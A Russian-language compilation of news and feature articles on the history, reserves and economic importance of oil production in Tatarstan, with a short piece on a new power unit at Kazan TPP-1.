Нефть и особенности нефтепродуктов казани: история развития

Экономика 14:35 | 31 августа 2018 instagram.com/tatneft_official Автор материала: Альберт Бикбов

Из первой скважины, 75 лет назад пробуренной рядом с селом Шугурово (нынешний Лениногорский район Татарстана), был получен промышленный приток нефти дебитом 20 тонн в сутки. С тех пор в Татарстане добыто свыше 3,3 млрд тонн черного золота, которое полностью преобразило не только экономику республики, но и несколько десятилетий кормило весь СССР. 

История добычи

В 1971 году «Татнефть» добыла первый миллиард тонн нефти. В те годы Татарстан добился рекордного объема добычи в 100 млн тонн в год, удерживая эту планку до середины 70-х. Пик добычи пришелся на 1975-й, когда было добыто 103,7 млн тонн нефти. Тогда лишь пять стран мира (США, Саудовская Аравия, Иран, Венесуэла и Ирак.- Ред.) добывали нефти больше, чем Татарстан.

В 1981 году добыт второй миллиард тонн нефти, а в 2007 году — третий. 

Для сравнения: в 2017-м нефтяные компании, работающие в республике, добыли 35,845 млн тонн нефти. Из них объем добычи ПАО «Татнефть» составил 28,6 млн тонн.

Остальное добывают 32 малых татарстанских нефтяных компании, на которые приходится 20-21% добычи. Из 35,7 млн тонн нефти почти половина — 16 млн — отправлена на переработку.

Произведено 1 млн 700 тысяч тонн пластиков, 710 тысяч тонн каучуков, 217 тысяч тонн моющих средств, 14 млн шин.

Татарстанские нефтяники уже в середине 50-х годов стали бесспорными лидерами в нефтедобывающей отрасли страны. В это время нефтяной регион ТАССР стали часто называть вторым Баку.

Татарстанская нефть и газ играли и играют важную роль не только в хозяйстве республики — не зря в свое время первый нарком и министр нефтяной промышленности СССР, а также председатель Госплана Николай Байбаков говорил, что «35 лет вся экономика Советского Союза держалась на татарской нефти».

В так называемый брежневский период стабильность СССР во многом обязана «нефтедолларам», добытым на территории Татарской АССР.

В 60-х появилось понятие «татарстанская школа», подразумевающее широкое признание достижений нефтяников республики в организации добычи черного золота.

Крупноблочное вышкостроение, перетаскивание буровых на новую точку без демонтажа, внедрение турбинного бурения, методы законтурного и внутриконтурного заводнения, автоматизация дожимных насосных и насосов-качалок, раздельный способ сбора нефти и газа — все это рождалось и внедрялось сначала в «Татнефти», а потом уже шло по стране. Среди западносибирских нефтяников тогда появилась поговорка: «Самотлорскую нефть освоили при помощи трех «Т»: тракторов, «Татр» (чехословацкие самосвалы. — Ред ) и татар».

Уникальная «Ромашка»

Основная доля текущей добычи нефти приходится на два уникальных и пять крупных месторождений: Ромашкинское, Бавлинское, Сабанчинское, Ново-Елховское, Первомайское, Бондюжское, Архангельское.

Честно говоря, одно Ромашкинское могло бы удовлетворить потребности Татарстана и не надо было открывать еще 200. Оно дает в год более 15 млн тонн нефти, или половину объемов, добываемых в республике.

Из его недр отобрано более 2,2 млрд тонн, при этом сохраняется высокий потенциал месторождения. 

Нефть Татарстана, можно сказать, неисчерпаема. Гигантские месторождения типа Ромашкинского свидетельствуют о том, что только одна погребенная в слоях органика, к тому же рассеянная, без поступления газов с глубин, не могла создать такие крупные запасы углеводородов.

Разведанные запасы Ромашкинского месторождения в 12 раз превышают погребенные здесь органические вещества. Такая нефть может оказаться только в тех осадочных структурах, куда имел доступ глубинный метан и где были глубинные разломы, через которые он мог мигрировать наверх.

Установлено, что Ромашкинское, Бавлинское, Туймазинское и некоторые другие месторождения Урало-Поволжья связаны, соответственно, с Заинско-Шешминскими, Икскими, Кинельскими и Камско-Бельскими разломами. По первым проектам нефть в Ромашкинском должна была уже давно закончиться. Но сегодня обосновано, что нефти в нем хватит минимум еще на 130 лет. А с учетом «подпитки» — вообще до конца времен.

Сернистый фактор

Особенности нефти Татарстана хорошо известны: высокая степень разведанности; значительная степень обводненности (86%) и истощенности главных месторождений (выработанность 88%) и рост доли высокосернистой нефти в общем объеме добычи (большая часть запасов представлена тяжелой высокосернистой нефтью повышенной вязкости, которая по своему качеству уступает более легкой нефти Западной Сибири). 

Добываемая нефть раскладывается на следующие элементы: 15 млн тонн — среднесернистая (девонская, с содержанием 1,8% серы) и около 20 млн высокосернистая (карбоновая, с содержанием 3,0%) и нефть из пермских битумов (с содержанием 4,0%).

При этом доля среднесернистой нефти падает по понятным причинам, а доля высокосернистой растет. На сегодняшний момент на нефтепереработку в Татарстане отправляется 16 млн тонн.

Таким образом, оставшиеся объемы — смесь из девонской, карбоновой и пермской нефти — уходили раньше в трубопроводы «Транснефти», где смешивались с западносибирской Siberian Light (сера 0,6%) в определенной пропорции для достижения экспортной марки URALS (сера 1,2%).

Это вызывало недовольство федеральных игроков, ведь татарстанская нефть более худшего качества «портила» качественную западносибирскую нефть. 

Были разговоры о введении «банка качества нефти», о стройке отдельного трубопровода для сернистой нефти и т. д.

Но с планируемым в этом году вводом на ТАНЕКО прироста мощности переработки на дополнительные 6 млн тонн в год такая проблема отпадет сама собой — в республике уже будет перерабатываться около 22 млн тонн нефти, а оставшиеся «для трубы» объемы не столь критичны для ухудшения качества экспортной марки URALS.

Запасы: извлекаемые и недосягаемые

Наши запасы нефти составляют 11,6 млрд тонн. Если сюда добавить природные битумы и сланцы, то общий ресурс поднимется до 18,5 млрд тонн. Но из этого количества так называемые неподвижные запасы составляют 63,5%. Неподвижные запасы — это те, которые мы при нынешнем развитии техники и технологий не можем добыть, то есть у нас «не берутся» 7,17 млрд тонн. 

При этом запасы нефти Татарстана очень неоднородны и содержатся в разных объектах. Есть сверхвязкая нефть — пермские битумы, они в песчаниках и известняках, залегают неглубоко. Ниже лежат карбонатные породы, в которых так же достаточно вязкой нефти.

Это тоже очередной такой объект, который нужно осваивать в Татарстане. Еще есть и нефть в девоне. Девонская нефть в песчаниках — самая главная нефть, классическая.

А доманикиты (почти сланцы) — это следующий уровень, такие плотные породы, в которых если есть трещина, то из них можно добывать нефть, если сделать гидроразрыв.

Но ими однозначно нужно заниматься, работать над ними, потому что это наша будущая нефть. Получается четыре главных объекта для работы: доманикиты, девонская нефть, карбонатные породы девона-карбона и пермские сверхвязкие нефти, или битумы (природные битумы в пермских отложениях). Вот те объекты, которые необходимо осваивать в Татарстане. 

С девонской и карбоновой нефтью все понятно — поднять нефтеотдачу на выработанных зрелых месторождениях можно только с помощью ювелирной работы, а для этого надо обладать глубокими знаниями отдельных промыслов. Для каждого месторождения надо найти то уникальное сочетание подходов, которое даст наилучший долгосрочный результат. 

Если 50 лет назад у нас было 90% запасов жидкой, фонтанирующей нефти, то сегодня в Татарстане, например, 60% имеющихся запасов — это запасы тяжелые, вязкие. Если пробурить в них скважину, то эта нефть сама по себе не потечет наверх.

В лучшем случае она будет тихонечко идти, но те дебиты, которые обеспечиваются подобным естественным путем, не всегда окупают затраты, которые вложены в эту разработку. Поэтому нужно что-то делать, чтобы нефть потекла быстрее. Применять новые технологии, совершенствовать их. Сегодня таких тяжелых запасов 60%, завтра их будет 80%, а через несколько десятков лет — 95%.

И если мы не будем создавать эти технологии, то через какое-то время скажем: «Нефть кончилась», хотя нефти еще в недрах огромное количество.

Отдельно можно сказать о перспективной добыче пермской сверхвязкой нефти, или битумов. Утвержденные и разведанные их запасы на территории республики составляют, по разным источникам, от 1,5 до 2-3 млрд тонн.

Из существующих ныне технологий выработки запасов битумов наиболее эффективным является свой собственный метод парогравитационного дренажа (SAGD), который успешно применяется и дает хорошие результаты на Ашальчинском и других месторождениях уже более 15 лет. В целом объем накопленной добычи сверхвязкой нефти уже свыше 4 млн тонн.

ПАО «Татнефть» планирует в 2018 году получить 2 млн тонн битумной нефти и нарастить ежегодную добычу в дальнейшем уже до 3 млн тонн. 

Значение нефти для татарстанской экономики

Структура экономики в республике диверсифицирована, тем не менее сырьевой сектор, представленный добычей нефти, является значительным (доля сектора «добыча…» — 21% в ВРП Татарстана против 9% в ВВП России в 2013 году). Как видите, вес нефтедобычи в экономике выше среднероссийского более чем в два раза.

Обладая таким богатством, Татарстан ставит перед собой основную задачу — получать максимальный эффект от добычи, создавая на ее основе товары с более высокой добавленной стоимостью. 

А это означает, что к оценке значения нефти для экономики республики следует подходить не узко, а в комплексе со всеми ее дальнейшими технологическими переделами.

То есть речь идет о нефтегазохимическом комплексе, который включает следующие виды экономической деятельности: добыча топливно-энергетических полезных ископаемых, производство нефтепродуктов, химическое производство и производство резиновых и пластмассовых изделий.

Нефтегазохимический комплекс является базовым сектором промышленности. Он формирует более 58% объема реализации и более 85% прибыли в экономике республики. Комплекс играет ведущую роль во внешней торговле, обеспечивая свыше 87% всего объема республиканского экспорта. Поставки только сырой нефти составляют 39%.

На предприятиях нефтегазохимического комплекса задействовано порядка 25% трудовых ресурсов промышленности. Благодаря этому Татарстан — один из крупнейших регионов по переработке нефти.

В республике производится 58% полиэтилена, 42% синтетических каучуков, около 30% грузовых автомобилей и автомобильных шин от общего объема производства по стране.

И все это великолепие было бы просто невозможно без добычи «черного золота». Арабы говорят, что нефть — это подарок Аллаха и ее надо просто добыть из земли. Пусть этот процесс и непростой, но Татарстану, а значит, всем его жителям, очень повезло с таким подарком судьбы.

нефть, 75 лет нефти Татарстана, нефтяная промышленность, Татнефть, история Понравился материал? Поделись в соцсетях Работа в Казани
Экономика 17:53 | 29 августа 2018 Автор материала: Дмитрий Зайцев

На Казанской ТЭЦ-1 запустили новую парогазовую установку мощностью 230 МВт. Напрямую на жизни рядового жителя столицы это событие вряд ли отразится. Ведь главный вопрос, который приходит на ум, когда читаешь новости, связанные с энергетикой: вырастет сумма в платежке за квартиру или нет? Для таких казанцев сразу отвечаем: тариф на электроэнергию для горожан не изменится. 

Теперь для тех, кому интересно понять, зачем вкладывать миллиарды в строительство малопонятного большинству жителей объекта. Ввод энергоблока на 22% повысит КПД, при уменьшении расхода топлива до 279,8 г/кВт/ч (ранее 314,5 кВт/ч). А это в свою очередь позволит снизить количество выбросов в атмосферу (косвенная польза для жителей) и стоимость производства 1 кВт/ч. 

Другая польза от нового энергоблока — сокращение количества блэкаутов. Модернизация повысит стабильность энергетического сектора города и уменьшит расходы на закупку электроэнергии из других регионов. 

До недавнего времени Татарстан оставался наиболее дефицитным субъектом на Средней Волге, а между тем потребление Казанского энергорайона больше таких республик, как Чувашия, Марий Эл, Пензенской и Ульяновской областей вместе взятых.   

Строительство энергоблока началось в мае 2016 года. Завершили его на четыре месяца раньше срока. Общая сумма инвестиций — 15,6 млрд рублей, из них 11,1 млрд — это кредит «Газпромбанка». Особенность модернизации Казанской ТЭЦ-1 заключается в том, что это первый инвестиционный проект, попавший в федеральную программу в области электроэнергетики.  

В преддверии Дня Республики красную кнопку, расположенную в главном здании и знаменующую старт, нажали министр энергетики России Александр Новак, президент Татарстана Рустам Минниханов и генеральный директор «Татэнерго» Раузил Хазиев, в течение пары минут установка набрала рабочую мощность. После торжественного запуска гости спустились к сцене, где обратились к собравшимся энергетикам и ветеранам. 

— Ввод генерирующего оборудования — это всегда значимое событие не только для региона, но и страны. Здесь используются самые инновационные, современные технологии, позволяющие говорить об экологичности производства.

Об эффективности этой станции говорит тот факт, что на ТЭЦ-1 для производства 1 кВт/ч используется в 1,5 раза меньше топлива, чем в России.

Ввод новых мощностей — это новые возможности для республики в привлечении бизнеса и инвестиций, — отметил Александр Новак.

Говоря о новых возможностях, министр имеет в виду то, что теперь республика получит серьезное преимущество при запуске новых производств, следовательно, привлечении инвесторов. 

Президент Татарстана отметил, что аналогичные работы по модернизации проводятся ежегодно. В скором времени аналогичная модернизация пройдет на Заинской ГРЭС. А ещё раньше — в 2014 году — на ТЭЦ-2, расположенной на улице Тэцевская, был установлен энергоблок ПГУ-220. 

— Системная работа по модернизации энергетических объектов позволит Татарстану стать конкурентным регионом, — считает Рустам Минниханов. 

Самый заметный для горожан элемент обновленной ТЭЦ, безусловно, градирня — красно-белая конусообразная конструкция. Ее главным предназначением является охлаждение воды, используемой для теплосъема при производстве электроэнергии.

Холодная вода подается в обновленный блок, где она нагревается, после поступает в градирню, где происходит процесс орошения, направленный на охлаждение воды, излишки которой превращаются в пар и поступают в атмосферу. Сама система замкнутая, благодаря этому количество выбросов в атмосферу сведено к минимуму.

Эксплуатация ТЭЦ-1 стартовала в 1933 году, тем самым дав импульс к развитию промышленности в Казани и окрестностях. На момент запуска ее проектная мощность составляла 20 мВт.

энергетика, Казанская ТЭЦ-1, Татэнерго, Александр Новак, Минэнерго РФ, Рустам Минниханов, Татарстан Понравился материал? Поделись в соцсетях Работа в Казани

Источник: https://KazanFirst.ru/posts/472661

Роль нефтегазовой отрасли в экономике Республики Татарстан и перспективы ее развития — Татцентр.ру

Нефтегазохимический комплекс Татарстана является бюджетообразующей отраслью республики. О наиболее важных аспектах развития комплекса — в статье Премьер-министра Республики Татарстан Рустама Минниханова.

Летопись истории «большой нефти» Татарстана

Первое упоминание о «казанской нефти» датировано 1637 годом и сохранилось в материалах Пушкарского приказа царского двора, ведавшего военными арсеналами, в том числе и нефтяными запасами.

В дальнейшем кустарные производства по добыче и переработке нефтяного сырья связаны с именами известного татарского старшины Надира Уразметова, графа С.П.

Ягужинского, американского нефтепромышленника и геолога Ласло Шандора, немецкого инженера-геолога и предпринимателя А.Ф. Френкеля.

Однако активное промышленное освоение богатств края тормозилось отсутствием результатов геологических исследований, низким уровнем технической оснащенности.

Ученые и предприниматели понимали, что регионы Среднего Поволжья, Юго-Восточного Закамья являются потенциально нефтеносными. Последовательным сторонником гипотезы о наличии больших нефтяных запасов в Волго-Уральском регионе был И.М.

Губкин — один из организаторов нефтяной промышленности СССР. Поворотным моментом в истории геологоразведочных работ по поиску нефтеносных структур в Республике Татарстан стал 1940 г.

, когда было принято решение о создании единого треста «Татгеологоразведка».

25 июля 1943 г. на Шугуровской скважине № 1, бурившейся бригадой Г. Х. Хамидуллина, с глубины 648 м ударил нефтяной фонтан с дебитом 9, а позднее 20 т/сутки. Нефть Татарстана, которая на протяжении 3 столетий как мираж, манившая к себе, была найдена.

Спустя 5 лет, 25 июля 1948 г. при испытании скважины № 3 близ деревни Ромашкино забил еще один фонтан: более 120 т безводной нефти в сутки. Таким образом было открыто Ромашкинское месторождение, которое по международной классификации относится к супергигантам и входит в первую десятку крупнейших месторождений мира.

В Российской Федерации по начальным объемам запасов Ромашкино опережает только Самотлорское месторождение. С начала эксплуатации месторождение-супергигант дало 2,1 млрд. т углеводородного сырья. И сегодня, находясь на поздней стадии разработки, месторождение остается базовым для его основного недропользователя. В 2003 г. здесь добыто 14,5 млн.

т нефти — более половины общего объема добычи ОАО «Татнефть».

Ромашкинское месторождение стало испытательным полигоном для внедрения новых технологий, методик добычи и разведки, которые затем вошли в повседневную практику всей нефтяной промышленности страны.

Предложенная еще в 50-е годы учеными смелая идея разделить Ромашкинское месторождение на ряд площадей и разрабатывать каждую в отдельности, внедрение избирательного заводнения, а затем циклического воздействия на пласт — позволило достичь высоких технико-экономических показателей при добыче нефти и максимального коэффициента извлечения нефти из недр. Текущий коэффициент нефтеизвлечения по основным запасам Ромашкинского месторождения составляет 48,6\% при проектной нефтеотдаче 53\%. На протяжении более 15 лет, за счет внедрения современных методов контроля и регулирования процесса разработки, обводненность по Ромашкинскому месторождению стабилизирована на уровне 87\%.

В настоящее время 45,3\% нефти на месторождениях республики добывается за счет внедрения современных технологий и методов повышения нефтеотдачи пластов. Значение коэффициента извлечения нефти составляет более 43\% при среднероссийском отраслевом показателе — 30−35\%.

За 60-летний период промышленной разработки месторождений республики накопленный объем добычи составил свыше 2,78 млрд. т «черного золота».

Неоценим вклад нефтяной промышленности Татарстана в реализацию таких всесоюзных проектов, как строительство КамАЗа, нефтехимических производств Нижнекамска, Казани.

По словам бывшего председателя Госплана СССР, наркома нефтяной промышленности СССР Николая Константиновича Байбакова, «…было время, когда наша огромная страна жила и развивалась, достигла космических высот исключительно благодаря нефти Татарстана».

Благодаря активной инновационной деятельности, широкому внедрению передовых инженерных разработок в 2003 г. «Татнефти» присвоен статус «компания-новатор» среди всех нефтегазовых компаний стран СНГ. Компания входит в первую 20-ку крупнейших компаний страны по уровню капитализации, которая составляет $ 2,93 млрд.

Компания первой среди предприятий топливно-энергетического комплекса Российской Федерации вывела акции на Лондонскую и Нью-Йоркскую фондовые биржи.

Ценные бумаги ОАО «Татнефть» котируются и на торговых площадках Франкфурта и Вены. В числе акционеров — более 120 тыс. юридических и физических лиц.

Стабильный рост производственных и финансовых показателей компании обеспечивают ее инвестиционную привлекательность и конкурентоспособность.

  • Основные производственные и финансовые показатели предприятий нефтегазовой отрасли Республики Татарстан
  • Этапы разработки ресурсов углеводородного сырья в республике

Нефтяная отрасль Республики Татарстан прошла несколько стадий своего развития: ввода месторождений в эксплуатацию и роста добычи (1943−1969 гг.

), стабилизации объемов добычи углеводородного сырья (1970−1976 гг.), падения объемов (1977−1993 гг.).

Сегодня отрасль переживает четвертую, позднюю стадию добычи, когда объем добычи стабилизирован на оптимальном уровне. По ОАО «Татнефть» в 2003 г. он достиг 24,7 млн. т.

Динамика добычи нефти в Республике Татарстан (млн. т), с 1995 г. — объем добычи ОАО «Танефть»

Созданные за последние годы на основании Указа Президента Республики Татарстан М.Ш. Шаймиева «О мерах по увеличению нефтедобычи в Республике Татарстан» 27 малых нефтедобывающих компаний обеспечивают ежегодный объем добычи более 4,5 млн. т.

Добыча нефти в целом по Республике Татарстан (млн. т, включая газовый конденсат)

Общий объем добычи углеводородного сырья, с учетом деятельности малых нефтяных компаний, составил в 2003 г. более 29 млн. т. В утвержденной «Программе развития нефтегазового комплекса Республики Татарстан на период до 2015 года» поставлена задача по стабилизации объемов добычи углеводородного сырья на уровне 30 млн. т/год.

Ее решению способствуют проведение сбалансированной инвестиционной политики, нацеленной на постоянное воспроизводство сырьевой базы, а также осуществление ряда технико-технологических мероприятий, компенсирующих ухудшение этой базы. По итогам 2003 г. прирост извлекаемых запасов по промышленным категориям составил 30 млн.

т, что на 21,5\% превышает объем добычи.

В настоящее время по уровню добычи ОАО «Татнефть» занимает шестую позицию среди нефтяных компаний России.

Добыча нефти в РФ, 2003 г. — 421,3 млн. т

Вклад нефтяной индустрии в экономику

Большая нефть в корне изменила жизнь республики. Сегодня нефтегазовая отрасль является бюджетообразующим сектором экономики, занимающим наибольший удельный вес в структуре промышленного производства — 32,7\%.

Здесь формируются основные денежные, валютные, инвестиционные потоки, которые оказывают определяющее влияние на социально-экономическое развитие Татарстана.

Предприятия нефтяной промышленности образуют ядро промышленного роста республики, в их «орбиту» включены практически все ведущие предприятия химии и нефтехимии, машиностроения и металлообработки, строительства и транспорта.

Структура промышленного производства РТ, 2003 г. (\%)

При общем объеме произведенного в 2003 г. валового регионального продукта республики в сумме более 287 млрд. рублей ОАО «Татнефть» произведено товарной продукции на сумму 68,5 млрд. рублей.

В целом объем реализации крупнейшей нефтяной компании республики составил 114,6 млрд. рублей. Объем валютной выручки только от продажи сырой нефти и нефтепродуктов достиг за тот же период $ 3,1 млрд.

, это 68\% всего внешнеторгового оборота республики.

В общей сумме прибыли в объеме 40,2 млрд. рублей, полученной крупными и средними предприятиями республики в 2003 г., балансовая прибыль по ОАО «Татнефть» составила 18,23 млрд. рублей. Величина налоговых отчислений в консолидированный бюджет республики предприятиями нефтедобычи и нефтепереработки составила в 2003 г. 9,9 млрд руб., или 24,6\% всех бюджетных доходов республики.

Весом вклад ОАО «Татнефть» в доходную часть бюджета Российской Федерации. Компания входит в первую десятку крупнейших налогоплательщиков Российской Федерации.

Рейтинг 10 крупнейших налогоплательщиков Российской Федерации, $млн.

А по доле налогов в выручке занимает по итогам работы в 2003 г. 6-е место.

Рейтинг налоговой нагрузки по доле налогов в выручке, \%

Важно подчеркнуть, что за счет налоговых поступлений от предприятий нефтегазовой отрасли в республике реализуется большая часть важнейших социально ориентированных программ, направленных на повышение качества жизни населения республики. Так, в настоящее время практически завершена Программа газификации республики.

Уровень газификации в сельской местности в настоящее время составляет 95,4\%, а в городах республики — 99,4\%. Во многом благодаря средствам, заработанным в нефтегазовой отрасли, выполнен значительный объем жилищного строительства в рамках Президентской программы ликвидации ветхого жилья в Татарстане. На данный момент в новые дома переселено почти 40 тысяч семей.

Уровень обеспеченности жильем повысился в республике с 16 кв. м в 90-м году до 19,4 кв. м — в настоящее время.

Отрасль является емким рынком труда и обеспечивает людей работой с высоким уровнем социальных гарантий. Общая численность занятых только в ОАО «Татнефть» и связанных производствах достигает 110 тыс. человек, или 25\% от общей численности занятых в промышленности.

Средняя начисленная заработная плата в нефтедобыче и нефтепереработке вплотную приблизилась к 11 тыс.

рублей, что, в свою очередь, оказывает прямое стимулирующее воздействие на развитие потребительского рынка, рынка услуг в районах проживания нефтяников и опосредованное — на общереспубликанский потребительский рынок.

В результате, растет спрос на товары и услуги, возникают благоприятные условия для реализации предпринимательской активности, дальнейшего развития малого и среднего бизнеса в республике.

Стратегия и актуальные вопросы развития отрасли

Важнейшим условием динамичного развития предприятий нефтегазовой отрасли республики, в первую очередь ОАО «Татнефть», является диверсифицированность компании, её позиционирование как вертикально-интегрированного холдинга, включающего в себя нефтегазовое крыло, нефтепереработку и нефтехимическое производство.

За последние несколько лет «Татнефть» осуществила капитальные вложения в Нижнекамский промышленный узел в сумме около 16 млрд. рублей. Это позволило осуществить ряд крупномасштабных проектов, имеющих значительный долговременный эффект.

Важнейшим из них является формирование в Нижнекамском промышленном узле современного нефтеперерабатывающего производства, в том числе с участием компании LG International. В 2003 г. на базовом комплексе ОАО «Нижнекамский НПЗ» переработано 6,7 млн. т нефти. К 2008 г. объем республиканской нефтепереработки будет доведен до 14 млн. т/год.

Достигнуты значимые успехи и в области развития нефтехимического производства в республике. На ежемесячный объем производства продукции в 1 млрд руб. вышло ОАО «Нижнекамскшина». Совместно с ОАО «Нижнекамскнефтехим» реализован проект по строительству первого в стране завода синтетических масел. Проведена реконструкция производств ОАО «Нижнекамский завод технического углерода».

ОАО «Татнефть» участвует в акционерном капитале и ряда российских компаний. В составе управляющей компании «Татнефть-Нефтехим» успешно развиваются ОАО «Ефремовский завод синтетического каучука», ОАО «Ярполимермаш-Татнефть».

География деятельности нефтяников не ограничивается только проектами в Республике Татарстан и Российской Федерации.

Знаковым из них является участие ОАО «Татнефть» в акционером капитале ЗАО «Укртатнафта» на базе Кременчугского НПЗ.

Результатом сложной и многоплановой работы нефтяников нашей республики станет устойчивость к негативным влияниям конъюнктуры мирового рынка нефти, укрепление и расширение позиций на внутреннем и внешнем рынках нефтепродуктов.

Вместе с тем, фактором, сдерживающим развитие нефтегазовой отрасли нашей республики, является несовершенство налогового законодательства в области развития рентных отношений, дифференцированных в зависимости от степени выработанности, геологических и географических особенностей месторождения.

В Республике Татарстан накоплен уникальный опыт законотворчества в этой области. Благодаря мерам льготного налогообложения, налогового стимулирования в хозяйственный оборот вовлечены малодебитные, низкорентабельные скважины, которые в других регионах страны были закрыты. Республиканский закон «О нефти и газе» дал возможность увеличить добычу нефти на 5−6 млн.

т/год, выстоять нефтяной отрасли Татарстана в самые тяжелые, кризисные 1997−1998 гг.

Экономическая оценка налогового стимулирования нефтедобычи по ОАО «Татнефть»

До последнего времени за счет налогового стимулирования всех республиканских нефтяных компаний добывалось около 1/3 всего объема нефти. Общий доход Российской Федерации и субъекта Федерации составил 18 млрд. рублей.

Сегодня в равные условия поставлены компании со средним добытом 3,7 т/сутки и уровнем обводненности 85\% и компании, разрабатывающие месторождения с дебитом 16−20 т/сутки безводной нефти.

Грядущее увеличение налоговой нагрузки на отрасль, которое планируется реализовать, взяв за основу действующую «плоскую» шкалу налога, может привести к остановке большого числа скважин на выработанных месторождениях, снижению объемов добычи нефти и налоговых поступлений в бюджет всех уровней, ухудшению социально-экономической обстановки в нефтяных регионах.

Уже сегодня, в ряде мелких и средних нефтедобывающих российских компаниях простаивают около 25\% скважин эксплуатационного фонда. Этот вопрос требует своего решения на федеральном уровне.

В целях повышения конкурентоспособности нефтяной отрасли республики, в соответствии с Посланием Президента Республики Татарстан М.Ш.

Шаймиева Государственному Совету республики на 2004 год, предполагается «максимальное вовлечение в экономический оборот инновационного потенциала, внедрение новых технологий, направленных как на увеличение коэффициента извлечения нефти, так и на эффективное вскрытие продуктивного пласта».

В основу технической политики нефтяников республики поставлена задача обеспечения ежегодного роста производства на 1\%, наряду со снижением затрат на 10\%.

Республика Татарстан в ближней и долгосрочной перспективе будет оставаться крупной и перспективной сырьевой базой в топливной индустрии Российской Федерации.

Подтвержденные разрабатываемые и неразрабатываемые запасы, по данным аудита, проведенного компанией Miller&Lents, составляют 894,2 млн. т нефти.

Кроме того, республика обладает крупнейшими в Российской Федерации запасами природных битумов в объемах около 1,5 млрд. т. А это значит, что история нефти Республики Татарстан будет продолжаться.

Источник: http://tatcenter.ru/news/rol-neftegazovoj-otrasli-v-ekonomike-respubliki-tatarstan-i-perspektivy-ee-razvitiya/

История большой нефти Татарстана. Часть 1-я

75 лет назад в Татарстане зафонтанировала первая нефтяная скважина

Этим летом исполняется 75 лет с того дня, когда в Татарстане в тяжелые военные годы зафонтанировала первая нефтяная скважина.

С учетом значительного вклада нефтяной промышленности в социально-экономическое развитие республики и России Указом президента Татарстана образован оргкомитет по подготовке к празднованию, который возглавил Рустам Минниханов.

В него вошли также председатель Государственного совета РТ Фарид Мухаметшин, премьер-министр РТ Алексей Песошин, генеральный директор ПАО «Татнефть» Наиль Маганов. Все трое — в ранге зампредседателя оргкомитета.

Вообще-то, нефтяная история края имеет более длительную историю. Первое письменное упоминание датировано 1637 годом и сохранилось в материалах Пушкарского приказа, ведавшего военным арсеналом, в том числе нефтяными запасами.

А в 1703 году в первом номере газеты «Ведомости» появились такие строки: «Из Казани пишут. На реке Соку нашли много нефти…» В 1718 году первое заключение о нефти, найденной в нашем крае, сделал для Петра I лейб-медик Готлиб Шобер.

В 1738 году рудознатец Яков Шаханин доложил императрице Анне Иоанновне о нахождении на правом берегу Волги близ города Тетюши нефтяных источников. В 1837 году горный инженер Александр Гернгросс выявил поверхностные нефтепроявления в Предволжье и Закамье.

Производство же нефти началось в середине XVIII века. Старшина Надыр Уразметов в 1753 году подал прошение в Берг-Коллегию разрешить постройку нефтяного завода на реке Сок для переработки собираемой нефти и торговли ею во всех местах. Он подкрепил прошение образцом нефти. Анализы показали, что она является тяжелой, но в целом достаточно хорошего качества.

Первая попытка нефтеразведки методом бурения в Закамье была предпринята в 1864 году бугульминским помещиком Николаем Малакиенко. Но серьезнее взялся за это дело в 1877 году геолог Ласло Шандор. Была начата работа Шугуровского нефтебитумного завода, сырье для которого копали из штолен.

В 1913 году немецкий инженер-геолог и предприниматель А.Ф. Френкель совместно с группой английских финансистов организовал акционерную компанию «Казан Ойлфилдс лтд» с целью разведки и добычи нефти в Сюкеево.

В 20-е годы прошлого столетия с приходом советской власти в регион было отправлено несколько безрезультатных разведывательных экспедиций. С 1930 года нефтепоисковые работы в республике возобновились уже посредством геологической съемки и полевой геофизики.

В конце 30-х годов на Булдырской структуре бурилась первая глубокая нефтепоисковая скважина. Бурение было начато трестом «Сызраньнефть» и продолжено в 1939 г. созданным к тому времени «Татгеолтрестом».

Однако в связи с отрицательными результатами по нижнему и среднему карбону работы были прекращены.

Последовательным сторонником гипотезы о наличии больших нефтяных запасов в Волго-Уральском регионе был И.М. Губкин — один из организаторов нефтяной промышленности СССР.

С началом войны с Германией, когда возникла угроза захвата северокавказских нефтяных промыслов, потребность в новых месторождениях стала жизненно важной для страны. В регион стали спешно перебрасывать технику и людей, в 1941 году было начато разведочное бурение.

«Новый промысел второго Баку»

Целенаправленные работы вскоре увенчались большим успехом — 25 июля 1943 года впервые в Татарстане из скважины №1, пробуренной рядом с селом Шугурово (нынешний Лениногорский район), был получен промышленный приток газированной нефти дебитом 20 тонн в сутки. А первые признаки были обнаружены на глубине 617,5 метра и с некоторыми перерывами прослежены до 647,8 метра.

Памятник скважине №1, пробуренной рядом с селом Шугурово

Возглавлял бурение скважины буровой мастер Г.Х. Хамидуллин, техническое и геологическое руководство осуществляли директор Шугуровской нефтеразведки А.В. Лукин, старший инженер И.Г. Шеломанов, старший геолог С.П. Егоров.

Это позволило сделать вывод об открытии в Татарской АССР промышленного месторождения нефти с большими перспективами.

«Коллектив разведчиков приложит все силы к тому, чтобы в кратчайший срок превратить Шугуровский район в новый промысел второго Баку и дать с небольших глубин высококачественные нефтепродукты нашей родной любимой Красной Армии», — говорилось в рапорте Шугуровской нефтеразведки руководству Шугуровского района.

А 3 августа того же года было заявлено об открытии первого в республике нефтяного месторождения — Шугуровского. Именно с этой скважины началась история большой нефти Татарстана.

Уникальное месторождение

В марте 1944 года Совнарком СССР принял постановление о развитии разведочных работ и подготовке к строительству нефтяного промысла на Шугуровском месторождении. Были поставлены большие задачи по наращиванию буровых работ и открытию новых месторождений.

В мае 1945 года на специальном заседании ГКО СССР рассматривался вопрос об ускорении ввода в строй нового нефтепромысла.

Приказом Наркомнефти на базе Шугуровского месторождения создается укрупненный нефтепромысел с подчинением Главнефтедобыче.

Здесь начал работать вернувшийся с фронта геолог Рафгат Мингареев, впоследствии возглавивший «Татнефть», а затем ставший заместителем министра нефтепрома.

Памятник скважине №3 — первой в уникальном Ромашкинском месторождении

17 сентября 1946 года недалеко от Бавлов зафонтанировала первая скважина на девонские отложения, пробуренная на глубине 1770 метров бригадой во главе с мастером С.Ф. Баклушиным из треста «Туймазынефть. Ее начальный дебит превышал 500 тонн (!) в сутки. Так был вскрыт мощный нефтеносный горизонт.

В том же году в 20 км от Шугуровского нефтепромысла у Ромашкино началось строительство разведочной скважины №3 (мастер Сергей Кузьмин), ставшей также исторической. В июне 1948 года здесь был вскрыт мощный девонский пласт, а затем получен фонтан с суточным дебитом 120 тонн.

Затем вокруг этой скважины на расстоянии 5—10 километров были пробурены новые, и все они дали нефть. В итоге на юго-востоке Татарстана было открыто уникальное многопластовое Ромашкинское месторождение. По международной классификации оно отнесено к супергигантам и вошло в десятку крупнейших месторождений мира. Шугуровское же оказалось лишь окраиной Ромашкинского месторождения.

